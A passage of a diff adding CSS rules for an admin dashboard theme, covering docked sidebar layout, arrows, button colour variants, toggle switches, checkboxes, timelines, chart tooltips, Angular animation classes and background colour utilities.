-webkit-transform: translate3d(-75%, 0, 0px); + transform: translate3d(-75%, 0, 0px); + } +} + +@media (min-width: 992px) { + .app-aside-dock .app-content, + .app-aside-dock .app-footer { + margin-left: 0; + } + .app-aside-dock .app-aside-footer ~ div { + padding-bottom: 0; + } + .app-aside-dock.app-aside-fixed.app-header-fixed { + padding-top: 115px; + } + .app-aside-dock.app-aside-fixed .app-aside { + position: fixed; + top: 50px; + z-index: 1000; + width: 100%; + } + .app-aside-dock .app-aside, + .app-aside-dock .aside-wrap, + .app-aside-dock .navi-wrap { + position: relative; + top: 0; + float: none; + width: 100% !important; + overflow: visible !important; + } + .app-aside-dock .navi-wrap > * { + width: auto !important; + } + .app-aside-dock .app-aside { + bottom: auto !important; + } + .app-aside-dock .app-aside.b-r { + border-bottom: 1px solid #dee5e7; + border-right-width: 0; + } + .app-aside-dock .app-aside:before { + display: none; + } + .app-aside-dock .app-aside nav > .nav { + float: left; + } + .app-aside-dock .app-aside .hidden-folded, + .app-aside-dock .app-aside .line, + .app-aside-dock .app-aside .navi-wrap > div { + display: none !important; + } + .app-aside-dock .app-aside .navi > ul > li { + position: relative; + display: inline-block; + float: left; + } + .app-aside-dock .app-aside .navi > ul > li > a { + height: auto; + padding: 10px 15px 12px 15px; + text-align: center; + } + .app-aside-dock .app-aside .navi > ul > li > a > .badge, + .app-aside-dock .app-aside .navi > ul > li > a > .label { + position: absolute; + top: 5px; + right: 8px; + padding: 1px 4px; + } + .app-aside-dock .app-aside .navi > ul > li > a > i { + display: block; + float: none; + width: 40px; + margin-top: -10px; + margin-right: auto; + margin-bottom: -7px; + margin-left: auto; + font-size: 14px; + line-height: 40px; + } + .app-aside-dock .app-aside .navi > ul > li > a > span.pull-right { + position: absolute; + bottom: 2px; + left: 50%; + display: block !important; + margin-left: -6px; + line-height: 1; + } + .app-aside-dock .app-aside .navi > ul > li > a > span.pull-right i { + width: 12px; + font-size: 12px; + line-height: 12px; + } + .app-aside-dock .app-aside .navi > ul > li > a > span.pull-right i.text { + line-height: 14px; + -webkit-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); + } + .app-aside-dock .app-aside .navi > ul > li > a > span { + display: block; + font-weight: normal; + } + .app-aside-dock .app-aside .navi > ul > li .nav-sub { + position: absolute; + top: auto !important; + left: 0; + z-index: 1050; + display: none; + width: 200px; + height: auto !important; + -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1); + box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1); + } + .app-aside-dock .app-aside .navi > ul > li .nav-sub-header { + display: none !important; + } + .app-aside-dock .app-aside .navi li li a { + padding-left: 15px; + } + .app-aside-dock .app-aside .navi li:hover > .nav-sub, + .app-aside-dock .app-aside .navi li:focus > .nav-sub, + .app-aside-dock .app-aside .navi li:active > .nav-sub { + display: block; + height: auto !important; + margin-left: 0; + overflow: auto; + opacity: 1; + } +} + +.arrow { + z-index: 10; + border-width: 9px; +} + +.arrow, +.arrow:after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} + +.arrow:after { + border-width: 8px; + content: ""; +} + +.arrow.top { + top: -9px; + left: 50%; + margin-left: -9px; + border-bottom-color: rgba(0, 0, 0, 0.1); + border-top-width: 0; +} + +.arrow.top:after { + top: 1px; + margin-left: -8px; + border-bottom-color: #ffffff; + border-top-width: 0; +} + +.arrow.top.arrow-primary:after { + border-bottom-color: #7266ba; +} + +.arrow.top.arrow-info:after { + border-bottom-color: #23b7e5; +} + +.arrow.top.arrow-success:after { + border-bottom-color: #27c24c; +} + +.arrow.top.arrow-danger:after { + border-bottom-color: #f05050; +} + +.arrow.top.arrow-warning:after { + border-bottom-color: #fad733; +} + +.arrow.top.arrow-light:after { + border-bottom-color: #edf1f2; +} + +.arrow.top.arrow-dark:after { + border-bottom-color: #3a3f51; +} + +.arrow.top.arrow-black:after { + border-bottom-color: #1c2b36; +} + +.arrow.right { + top: 50%; + right: -9px; + margin-top: -9px; + border-left-color: rgba(0, 0, 0, 0.1); + border-right-width: 0; +} + +.arrow.right:after { + right: 1px; + bottom: -8px; + border-left-color: #ffffff; + border-right-width: 0; +} + +.arrow.right.arrow-primary:after { + border-left-color: #7266ba; +} + +.arrow.right.arrow-info:after { + border-left-color: #23b7e5; +} + +.arrow.right.arrow-success:after { + border-left-color: #27c24c; +} + +.arrow.right.arrow-danger:after { + border-left-color: #f05050; +} + +.arrow.right.arrow-warning:after { + border-left-color: #fad733; +} + +.arrow.right.arrow-light:after { + border-left-color: #edf1f2; +} + +.arrow.right.arrow-dark:after { + border-left-color: #3a3f51; +} + +.arrow.right.arrow-black:after { + border-left-color: #1c2b36; +} + +.arrow.bottom { + bottom: -9px; + left: 50%; + margin-left: -9px; + border-top-color: rgba(0, 0, 0, 0.1); + border-bottom-width: 0; +} + +.arrow.bottom:after { + bottom: 1px; + margin-left: -8px; + border-top-color: #ffffff; + border-bottom-width: 0; +} + +.arrow.bottom.arrow-primary:after { + border-top-color: #7266ba; +} + +.arrow.bottom.arrow-info:after { + border-top-color: #23b7e5; +} + +.arrow.bottom.arrow-success:after { + border-top-color: #27c24c; +} + +.arrow.bottom.arrow-danger:after { + border-top-color: #f05050; +} + +.arrow.bottom.arrow-warning:after { + border-top-color: #fad733; +} + +.arrow.bottom.arrow-light:after { + border-top-color: #edf1f2; +} + +.arrow.bottom.arrow-dark:after { + border-top-color: #3a3f51; +} + +.arrow.bottom.arrow-black:after { + border-top-color: #1c2b36; +} + +.arrow.left { + top: 50%; + left: -9px; + margin-top: -9px; + border-right-color: rgba(0, 0, 0, 0.1); + border-left-width: 0; +} + +.arrow.left:after { + bottom: -8px; + left: 1px; + border-right-color: #ffffff; + border-left-width: 0; +} + +.arrow.left.arrow-primary:after { + border-right-color: #7266ba; +} + +.arrow.left.arrow-info:after { + border-right-color: #23b7e5; +} + +.arrow.left.arrow-success:after { + border-right-color: #27c24c; +} + +.arrow.left.arrow-danger:after { + border-right-color: #f05050; +} + +.arrow.left.arrow-warning:after { + border-right-color: #fad733; +} + +.arrow.left.arrow-light:after { + border-right-color: #edf1f2; +} + +.arrow.left.arrow-dark:after { + border-right-color: #3a3f51; +} + +.arrow.left.arrow-black:after { + border-right-color: #1c2b36; +} + +.arrow.pull-left { + left: 19px; +} + +.arrow.pull-right { + right: 19px; + left: auto; +} + +.arrow.pull-up { + top: 19px; +} + +.arrow.pull-down { + top: auto; + bottom: 19px; +} + +.btn { + font-weight: 500; + border-radius: 2px; + outline: 0!important; +} + +.btn-link { + color: #58666e; +} + +.btn-link.active { + box-shadow: none; + webkit-box-shadow: none; +} + +.btn-default { + color: #58666e !important; + background-color: #fcfdfd; + background-color: #fff; + border-color: #dee5e7; + border-bottom-color: #d8e1e3; + -webkit-box-shadow: 0 1px 1px rgba(90, 90, 90, 0.1); + box-shadow: 0 1px 1px rgba(90, 90, 90, 0.1); +} + +.btn-default:hover, +.btn-default:focus, +.btn-default:active, +.btn-default.active, +.open .dropdown-toggle.btn-default { + color: #58666e !important; + background-color: #edf1f2; + border-color: #c7d3d6; +} + +.btn-default:active, +.btn-default.active, +.open .dropdown-toggle.btn-default { + background-image: none; +} + +.btn-default.disabled, +.btn-default[disabled], +fieldset[disabled] .btn-default, +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled:active, +.btn-default[disabled]:active, +fieldset[disabled] .btn-default:active, +.btn-default.disabled.active, +.btn-default[disabled].active, +fieldset[disabled] .btn-default.active { + background-color: #fcfdfd; + border-color: #dee5e7; +} + +.btn-default.btn-bg { + border-color: rgba(0, 0, 0, 0.1); + background-clip: padding-box; +} + +.btn-primary { + color: #ffffff !important; + background-color: #7266ba; + border-color: #7266ba; +} + +.btn-primary:hover, +.btn-primary:focus, +.btn-primary:active, +.btn-primary.active, +.open .dropdown-toggle.btn-primary { + color: #ffffff !important; + background-color: #6254b2; + border-color: #5a4daa; +} + +.btn-primary:active, +.btn-primary.active, +.open .dropdown-toggle.btn-primary { + background-image: none; +} + +.btn-primary.disabled, +.btn-primary[disabled], +fieldset[disabled] .btn-primary, +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled:active, +.btn-primary[disabled]:active, +fieldset[disabled] .btn-primary:active, +.btn-primary.disabled.active, +.btn-primary[disabled].active, +fieldset[disabled] .btn-primary.active { + background-color: #7266ba; + border-color: #7266ba; +} + +.btn-success { + color: #ffffff !important; + background-color: #27c24c; + border-color: #27c24c; +} + +.btn-success:hover, +.btn-success:focus, +.btn-success:active, +.btn-success.active, +.open .dropdown-toggle.btn-success { + color: #ffffff !important; + background-color: #23ad44; + border-color: #20a03f; +} + +.btn-success:active, +.btn-success.active, +.open .dropdown-toggle.btn-success { + background-image: none; +} + +.btn-success.disabled, +.btn-success[disabled], +fieldset[disabled] .btn-success, +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled:active, +.btn-success[disabled]:active, +fieldset[disabled] .btn-success:active, +.btn-success.disabled.active, +.btn-success[disabled].active, +fieldset[disabled] .btn-success.active { + background-color: #27c24c; + border-color: #27c24c; +} + +.btn-info { + color: #ffffff !important; + background-color: #23b7e5; + border-color: #23b7e5; +} + +.btn-info:hover, +.btn-info:focus, +.btn-info:active, +.btn-info.active, +.open .dropdown-toggle.btn-info { + color: #ffffff !important; + background-color: #19a9d5; + border-color: #189ec8; +} + +.btn-info:active, +.btn-info.active, +.open .dropdown-toggle.btn-info { + background-image: none; +} + +.btn-info.disabled, +.btn-info[disabled], +fieldset[disabled] .btn-info, +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled:active, +.btn-info[disabled]:active, +fieldset[disabled] .btn-info:active, +.btn-info.disabled.active, +.btn-info[disabled].active, +fieldset[disabled] .btn-info.active { + background-color: #23b7e5; + border-color: #23b7e5; +} + +.btn-warning { + color: #ffffff !important; + background-color: #fad733; + border-color: #fad733; +} + +.btn-warning:hover, +.btn-warning:focus, +.btn-warning:active, +.btn-warning.active, +.open .dropdown-toggle.btn-warning { + color: #ffffff !important; + background-color: #f9d21a; + border-color: #f9cf0b; +} + +.btn-warning:active, +.btn-warning.active, +.open .dropdown-toggle.btn-warning { + background-image: none; +} + +.btn-warning.disabled, +.btn-warning[disabled], +fieldset[disabled] .btn-warning, +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled:active, +.btn-warning[disabled]:active, +fieldset[disabled] .btn-warning:active, +.btn-warning.disabled.active, +.btn-warning[disabled].active, +fieldset[disabled] .btn-warning.active { + background-color: #fad733; + border-color: #fad733; +} + +.btn-danger { + color: #ffffff !important; + background-color: #f05050; + border-color: #f05050; +} + +.btn-danger:hover, +.btn-danger:focus, +.btn-danger:active, +.btn-danger.active, +.open .dropdown-toggle.btn-danger { + color: #ffffff !important; + background-color: #ee3939; + border-color: #ed2a2a; +} + +.btn-danger:active, +.btn-danger.active, +.open .dropdown-toggle.btn-danger { + background-image: none; +} + +.btn-danger.disabled, +.btn-danger[disabled], +fieldset[disabled] .btn-danger, +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled:active, +.btn-danger[disabled]:active, +fieldset[disabled] .btn-danger:active, +.btn-danger.disabled.active, +.btn-danger[disabled].active, +fieldset[disabled] .btn-danger.active { + background-color: #f05050; + border-color: #f05050; +} + +.btn-dark { + color: #ffffff !important; + background-color: #3a3f51; + border-color: #3a3f51; +} + +.btn-dark:hover, +.btn-dark:focus, +.btn-dark:active, +.btn-dark.active, +.open .dropdown-toggle.btn-dark { + color: #ffffff !important; + background-color: #2f3342; + border-color: #292d39; +} + +.btn-dark:active, +.btn-dark.active, +.open .dropdown-toggle.btn-dark { + background-image: none; +} + +.btn-dark.disabled, +.btn-dark[disabled], +fieldset[disabled] .btn-dark, +.btn-dark.disabled:hover, +.btn-dark[disabled]:hover, +fieldset[disabled] .btn-dark:hover, +.btn-dark.disabled:focus, +.btn-dark[disabled]:focus, +fieldset[disabled] .btn-dark:focus, +.btn-dark.disabled:active, +.btn-dark[disabled]:active, +fieldset[disabled] .btn-dark:active, +.btn-dark.disabled.active, +.btn-dark[disabled].active, +fieldset[disabled] .btn-dark.active { + background-color: #3a3f51; + border-color: #3a3f51; +} + +.btn-black { + color: #ffffff !important; + background-color: #1c2b36; + border-color: #1c2b36; +} + +.btn-black:hover, +.btn-black:focus, +.btn-black:active, +.btn-black.active, +.open .dropdown-toggle.btn-black { + color: #ffffff !important; + background-color: #131e25; + border-color: #0e161b; +} + +.btn-black:active, +.btn-black.active, +.open .dropdown-toggle.btn-black { + background-image: none; +} + +.btn-black.disabled, +.btn-black[disabled], +fieldset[disabled] .btn-black, +.btn-black.disabled:hover, +.btn-black[disabled]:hover, +fieldset[disabled] .btn-black:hover, +.btn-black.disabled:focus, +.btn-black[disabled]:focus, +fieldset[disabled] .btn-black:focus, +.btn-black.disabled:active, +.btn-black[disabled]:active, +fieldset[disabled] .btn-black:active, +.btn-black.disabled.active, +.btn-black[disabled].active, +fieldset[disabled] .btn-black.active { + background-color: #1c2b36; + border-color: #1c2b36; +} + +.btn-icon { + width: 34px; + height: 34px; + padding: 0 !important; + text-align: center; +} + +.btn-icon i { + position: relative; + top: -1px; + line-height: 34px; +} + +.btn-icon.btn-sm { + width: 30px; + height: 30px; +} + +.btn-icon.btn-sm i { + line-height: 30px; +} + +.btn-icon.btn-lg { + width: 45px; + height: 45px; +} + +.btn-icon.btn-lg i { + line-height: 45px; +} + +.btn-rounded { + padding-right: 15px; + padding-left: 15px; + border-radius: 50px; +} + +.btn-rounded.btn-lg { + padding-right: 25px; + padding-left: 25px; +} + +.btn > i.pull-left, +.btn > i.pull-right { + line-height: 1.42857143; +} + +.btn-block { + padding-right: 12px; + padding-left: 12px; +} + +.btn-group-vertical > .btn:first-child:not(:last-child) { + border-top-right-radius: 2px; +} + +.btn-group-vertical > .btn:last-child:not(:first-child) { + border-bottom-left-radius: 2px; +} + +.btn-addon i { + position: relative; + float: left; + width: 34px; + height: 34px; + margin: -7px -12px; + margin-right: 12px; + line-height: 34px; + text-align: center; + background-color: rgba(0, 0, 0, 0.1); + border-radius: 2px 0 0 2px; +} + +.btn-addon i.pull-right { + margin-right: -12px; + margin-left: 12px; + border-radius: 0 2px 2px 0; +} + +.btn-addon.btn-sm i { + width: 30px; + height: 30px; + margin: -6px -10px; + margin-right: 10px; + line-height: 30px; +} + +.btn-addon.btn-sm i.pull-right { + margin-right: -10px; + margin-left: 10px; +} + +.btn-addon.btn-lg i { + width: 45px; + height: 45px; + margin: -11px -16px; + margin-right: 16px; + line-height: 45px; +} + +.btn-addon.btn-lg i.pull-right { + margin-right: -16px; + margin-left: 16px; +} + +.btn-addon.btn-default i { + background-color: transparent; + border-right: 1px solid #dee5e7; +} + +.btn-groups .btn { + margin-bottom: 5px; +} + +.list-icon i { + display: inline-block; + width: 40px; + margin: 0; + font-size: 14px; + text-align: center; + vertical-align: middle; + -webkit-transition: font-size 0.2s; + transition: font-size 0.2s; +} + +.list-icon div { + line-height: 40px; + white-space: nowrap; +} + +.list-icon div:hover i { + font-size: 26px; +} + +.settings { + position: fixed; + top: 120px; + right: -240px; + z-index: 1050; + width: 240px; + -webkit-transition: right 0.2s; + transition: right 0.2s; +} + +.settings.active { + right: -1px; +} + +.settings > .btn { + position: absolute; + top: -1px; + left: -42px; + padding: 10px 15px; + background: #f6f8f8 !important; + border-color: #dee5e7; + border-right-width: 0; +} + +.settings .i-checks span b { + display: inline-block; + float: left; + width: 50%; + height: 20px; +} + +.settings .i-checks span b.header { + height: 10px; +} + +.streamline { + position: relative; + border-color: #dee5e7; +} + +.streamline .sl-item:after, +.streamline:after { + position: absolute; + bottom: 0; + left: 0; + width: 9px; + height: 9px; + margin-left: -5px; + background-color: #fff; + border-color: inherit; + border-style: solid; + border-width: 1px; + border-radius: 10px; + content: ''; +} + +.sl-item { + position: relative; + padding-bottom: 1px; + border-color: #dee5e7; +} + +.sl-item:before, +.sl-item:after { + display: table; + content: " "; +} + +.sl-item:after { + clear: both; +} + +.sl-item:after { + top: 6px; + bottom: auto; +} + +.sl-item.b-l { + margin-left: -1px; +} + +.timeline { + padding: 0; + margin: 0; +} + +.tl-item { + display: block; +} + +.tl-item:before, +.tl-item:after { + display: table; + content: " "; +} + +.tl-item:after { + clear: both; +} + +.visible-left { + display: none; +} + +.tl-wrap { + display: block; + padding: 15px 0 15px 20px; + margin-left: 6em; + border-color: #dee5e7; + border-style: solid; + border-width: 0 0 0 4px; +} + +.tl-wrap:before, +.tl-wrap:after { + display: table; + content: " "; +} + +.tl-wrap:after { + clear: both; +} + +.tl-wrap:before { + position: relative; + top: 15px; + float: left; + width: 10px; + height: 10px; + margin-left: -27px; + background: #edf1f2; + border-color: inherit; + border-style: solid; + border-width: 3px; + border-radius: 50%; + content: ""; + box-shadow: 0 0 0 4px #f0f3f4; +} + +.tl-wrap:hover:before { + background: transparent; + border-color: #fff; +} + +.tl-date { + position: relative; + top: 10px; + display: block; + float: left; + width: 4.5em; + margin-left: -7.5em; + text-align: right; +} + +.tl-content { + position: relative; + display: inline-block; + padding-top: 10px; + padding-bottom: 10px; +} + +.tl-content.block { + display: block; + width: 100%; +} + +.tl-content.panel { + margin-bottom: 0; +} + +.tl-header { + display: block; + width: 12em; + margin-left: 2px; + text-align: center; +} + +.timeline-center .tl-item { + margin-left: 50%; +} + +.timeline-center .tl-item .tl-wrap { + margin-left: -2px; +} + +.timeline-center .tl-header { + width: auto; + margin: 0; +} + +.timeline-center .tl-left { + margin-right: 50%; + margin-left: 0; +} + +.timeline-center .tl-left .hidden-left { + display: none !important; +} + +.timeline-center .tl-left .visible-left { + display: inherit; +} + +.timeline-center .tl-left .tl-wrap { + float: right; + padding-right: 20px; + padding-left: 0; + margin-right: -2px; + border-right-width: 4px; + border-left-width: 0; +} + +.timeline-center .tl-left .tl-wrap:before { + float: right; + margin-right: -27px; + margin-left: 0; +} + +.timeline-center .tl-left .tl-date { + float: right; + margin-right: -8.5em; + margin-left: 0; + text-align: left; +} + +.i-switch { + position: relative; + display: inline-block; + width: 35px; + height: 20px; + margin: 0; + cursor: pointer; + background-color: #27c24c; + border-radius: 30px; +} + +.i-switch input { + position: absolute; + opacity: 0; + filter: alpha(opacity=0); +} + +.i-switch input:checked + i:before { + top: 50%; + right: 5px; + bottom: 50%; + left: 50%; + border-width: 0; + border-radius: 5px; +} + +.i-switch input:checked + i:after { + margin-left: 16px; +} + +.i-switch i:before { + position: absolute; + top: -1px; + right: -1px; + bottom: -1px; + left: -1px; + background-color: #fff; + border: 1px solid #f0f0f0; + border-radius: 30px; + content: ""; + -webkit-transition: all 0.2s; + transition: all 0.2s; +} + +.i-switch i:after { + position: absolute; + top: 1px; + bottom: 1px; + width: 18px; + background-color: #fff; + border-radius: 50%; + content: ""; + -webkit-box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.25); + box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.25); + -webkit-transition: margin-left 0.3s; + transition: margin-left 0.3s; +} + +.i-switch-md { + width: 40px; + height: 24px; +} + +.i-switch-md input:checked + i:after { + margin-left: 17px; +} + +.i-switch-md i:after { + width: 22px; +} + +.i-switch-lg { + width: 50px; + height: 30px; +} + +.i-switch-lg input:checked + i:after { + margin-left: 21px; +} + +.i-switch-lg i:after { + width: 28px; +} + +.i-checks { + padding-left: 20px; + cursor: pointer; +} + +.i-checks input { + position: absolute; + margin-left: -20px; + opacity: 0; +} + +.i-checks input:checked + i { + border-color: #23b7e5; +} + +.i-checks input:checked + i:before { + top: 4px; + left: 4px; + width: 10px; + height: 10px; + background-color: #23b7e5; +} + +.i-checks input:checked + span .active { + display: inherit; +} + +.i-checks input[type="radio"] + i, +.i-checks input[type="radio"] + i:before { + border-radius: 50%; +} + +.i-checks input[disabled] + i, +fieldset[disabled] .i-checks input + i { + border-color: #dee5e7; +} + +.i-checks input[disabled] + i:before, +fieldset[disabled] .i-checks input + i:before { + background-color: #dee5e7; +} + +.i-checks > i { + position: relative; + display: inline-block; + width: 20px; + height: 20px; + margin-top: -2px; + margin-right: 4px; + margin-left: -20px; + line-height: 1; + vertical-align: middle; + background-color: #fff; + border: 1px solid #cfdadd; +} + +.i-checks > i:before { + position: absolute; + top: 50%; + left: 50%; + width: 0; + height: 0; + background-color: transparent; + content: ""; + -webkit-transition: all 0.2s; + transition: all 0.2s; +} + +.i-checks > span { + margin-left: -20px; +} + +.i-checks > span .active { + display: none; +} + +.i-checks-sm input:checked + i:before { + top: 3px; + left: 3px; + width: 8px; + height: 8px; +} + +.i-checks-sm > i { + width: 16px; + height: 16px; + margin-right: 6px; + margin-left: -18px; +} + +.i-checks-lg input:checked + i:before { + top: 8px; + left: 8px; + width: 12px; + height: 12px; +} + +.i-checks-lg > i { + width: 30px; + height: 30px; +} + +.datepicker { + margin: 0 5px; +} + +.datepicker .btn-default { + border-width: 0; + box-shadow: none; +} + +.datepicker .btn[disabled] { + opacity: 0.4; +} + +.datepicker .btn-info .text-info { + color: #fff !important; +} + +/*Charts*/ + +.jqstooltip { + padding: 5px 10px !important; + background-color: rgba(0, 0, 0, 0.8) !important; + border: solid 1px #000 !important; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} + +.easyPieChart { + position: relative; + text-align: center; +} + +.easyPieChart > div { + position: relative; + z-index: 1; +} + +.easyPieChart > div .text { + position: absolute; + top: 60%; + width: 100%; + line-height: 1; +} + +.easyPieChart > div img { + margin-top: -4px; +} + +.easyPieChart canvas { + position: absolute; + top: 0; + left: 0; + z-index: 0; +} + +#flotTip { + z-index: 100; + padding: 4px 10px; + font-size: 12px; + color: #fff; + background-color: rgba(0, 0, 0, 0.8); + border: solid 1px #000 !important; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +.legendColorBox > div { + margin: 5px; + border: none !important; +} + +.legendColorBox > div > div { + border-radius: 10px; +} + +.sortable-placeholder { + min-height: 50px; + margin-bottom: 5px; + list-style: none; + border: 1px dashed #CCC; +} + +.panel .dataTables_wrapper { + padding-top: 10px; +} + +.panel .dataTables_wrapper > .row { + margin: 0; +} + +.panel .dataTables_wrapper > .row > .col-sm-12 { + padding: 0; +} + +.st-sort-ascent:before { + content: '\25B2'; +} + +.st-sort-descent:before { + content: '\25BC'; +} + +.st-selected td { + background: #f0f9ec !important; +} + +.chosen-choices, +.chosen-single, +.bootstrap-tagsinput { + border-color: #cfdadd !important; + border-radius: 2px !important; +} + +.bootstrap-tagsinput { + padding: 5px 12px !important; +} + +.item { + position: relative; +} + +.item .top { + position: absolute; + top: 0; + left: 0; +} + +.item .bottom { + position: absolute; + bottom: 0; + left: 0; +} + +.item .center { + position: absolute; + top: 50%; +} + +.item-overlay { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + display: none; +} + +.item-overlay.active, +.item:hover .item-overlay { + display: block; +} + +.form-validation .form-control.ng-dirty.ng-invalid { + border-color: #f05050; +} + +.form-validation .form-control.ng-dirty.ng-valid, +.form-validation .form-control.ng-dirty.ng-valid:focus { + border-color: #27c24c; +} + +.form-validation .i-checks .ng-invalid.ng-dirty + i { + border-color: #f05050; +} + +.ng-animate .bg-auto:before { + display: none; +} + +[ui-view].ng-leave { + display: none; +} + +[ui-view].ng-leave.smooth { + display: block; +} + +.smooth.ng-animate { + position: absolute; + width: 100%; + height: 100%; + overflow: hidden; +} + +.fade-in-right-big.ng-enter { + -webkit-animation: fadeInRightBig 0.5s; + animation: fadeInRightBig 0.5s; +} + +.fade-in-right-big.ng-leave { + -webkit-animation: fadeOutLeftBig 0.5s; + animation: fadeOutLeftBig 0.5s; +} + +.fade-in-left-big.ng-enter { + -webkit-animation: fadeInLeftBig 0.5s; + animation: fadeInLeftBig 0.5s; +} + +.fade-in-left-big.ng-leave { + -webkit-animation: fadeOutRightBig 0.5s; + animation: fadeOutRightBig 0.5s; +} + +.fade-in-up-big.ng-enter { + -webkit-animation: fadeInUpBig 0.5s; + animation: fadeInUpBig 0.5s; +} + +.fade-in-up-big.ng-leave { + -webkit-animation: fadeOutUpBig 0.5s; + animation: fadeOutUpBig 0.5s; +} + +.fade-in-down-big.ng-enter { + -webkit-animation: fadeInDownBig 0.5s; + animation: fadeInDownBig 0.5s; +} + +.fade-in-down-big.ng-leave { + -webkit-animation: fadeOutDownBig 0.5s; + animation: fadeOutDownBig 0.5s; +} + +.fade-in.ng-enter { + -webkit-animation: fadeIn 0.5s; + animation: fadeIn 0.5s; +} + +.fade-in.ng-leave { + -webkit-animation: fadeOut 0.5s; + animation: fadeOut 0.5s; +} + +.fade-in-right.ng-enter { + -webkit-animation: fadeInRight 0.5s; + animation: fadeInRight 0.5s; +} + +.fade-in-right.ng-leave { + -webkit-animation: fadeOutLeft 0.5s; + animation: fadeOutLeft 0.5s; +} + +.fade-in-left.ng-enter { + -webkit-animation: fadeInLeft 0.5s; + animation: fadeInLeft 0.5s; +} + +.fade-in-left.ng-leave { + -webkit-animation: fadeOutRight 0.5s; + animation: fadeOutRight 0.5s; +} + +.fade-in-up.ng-enter { + -webkit-animation: fadeInUp 0.5s; + animation: fadeInUp 0.5s; +} + +.fade-in-up.ng-leave { + -webkit-animation: fadeOutUp 0.5s; + animation: fadeOutUp 0.5s; +} + +.fade-in-down.ng-enter { + -webkit-animation: fadeInDown 0.5s; + animation: fadeInDown 0.5s; +} + +.fade-in-down.ng-leave { + -webkit-animation: fadeOutDown 0.5s; + animation: fadeOutDown 0.5s; +} + +.bg-gd { + background-image: -webkit-gradient(linear, left 0, left 100%, from(rgba(40, 50, 60, 0)), to(rgba(40, 50, 60, 0.075))); + background-image: -webkit-linear-gradient(top, rgba(40, 50, 60, 0), 0, rgba(40, 50, 60, 0.075), 100%); + background-image: -moz-linear-gradient(top, rgba(40, 50, 60, 0) 0, rgba(40, 50, 60, 0.075) 100%); + background-image: linear-gradient(to bottom, rgba(40, 50, 60, 0) 0, rgba(40, 50, 60, 0.075) 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0028323c', endColorstr='#1328323c', GradientType=0); + filter: none; +} + +.bg-gd-dk { + background-image: -webkit-gradient(linear, left 10%, left 100%, from(rgba(40, 50, 60, 0)), to(rgba(40, 50, 60, 0.5))); + background-image: -webkit-linear-gradient(top, rgba(40, 50, 60, 0), 10%, rgba(40, 50, 60, 0.5), 100%); + background-image: -moz-linear-gradient(top, rgba(40, 50, 60, 0) 10%, rgba(40, 50, 60, 0.5) 100%); + background-image: linear-gradient(to bottom, rgba(40, 50, 60, 0) 10%, rgba(40, 50, 60, 0.5) 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0028323c', endColorstr='#8028323c', GradientType=0); + filter: none; +} + +.bg-light { + color: #58666e; + background-color: #edf1f2; +} + +.bg-light.lt, +.bg-light .lt { + background-color: #f3f5f6; +} + +.bg-light.lter, +.bg-light .lter { + background-color: #f6f8f8; +} + +.bg-light.dk, +.bg-light .dk { + background-color: #e4eaec; +} + +.bg-light.dker, +.bg-light .dker { + background-color: #dde6e9; +} + +.bg-light.bg, +.bg-light .bg { + background-color: #edf1f2; +} + +.bg-dark { + color: #a6a8b1; + background-color: #3a3f51; +} + +.bg-dark.lt, +.bg-dark .lt { + background-color: #474c5e; +} + +.bg-dark.lter, +.bg-dark .lter { + background-color: #54596a; +} + +.bg-dark.dk, +.bg-dark .dk { + background-color: #2e3344; +} + +.bg-dark.dker, +.bg-dark .dker { + background-color: #232735; +} + +.bg-dark.bg, +.bg-dark .bg { + background-color: #3a3f51; +} + +.bg-dark a { + color: #c1c3c9; +} + +.bg-dark a:hover { + color: #ffffff; +} + +.bg-dark a.list-group-item:hover, +.bg-dark a.list-group-item:focus { + background-color: inherit; +} + +.bg-dark .nav > li:hover > a, +.bg-dark .nav > li:focus > a, +.bg-dark .nav > li.active > a { + color: #ffffff; + background-color: #2e3344; +} + +.bg-dark .nav > li > a { + color: #b4b6bd; +} + +.bg-dark .nav > li > a:hover, +.bg-dark .nav > li > a:focus { + background-color: #32374a; +} + +.bg-dark .nav .open > a { + background-color: #2e3344; +} + +.bg-dark .caret { + border-top-color: #a6a8b1; + border-bottom-color: #a6a8b1; +} + +.bg-dark.navbar .nav > li.active > a { + color: #ffffff; + background-color: #2e3344; +} + +.bg-dark .open > a, +.bg-dark .open > a:hover, +.bg-dark .open > a:focus { + color: #ffffff; +} + +.bg-dark .text-muted { + color: #8b8e99 !important; +} + +.bg-dark .text-lt { + color: #eaebed !important; +} + +.bg-dark.auto .list-group-item, +.bg-dark .auto .list-group-item { + background-color: transparent; + border-color: #2f3342 !important; +} + +.bg-dark.auto .list-group-item:hover, +.bg-dark .auto .list-group-item:hover, 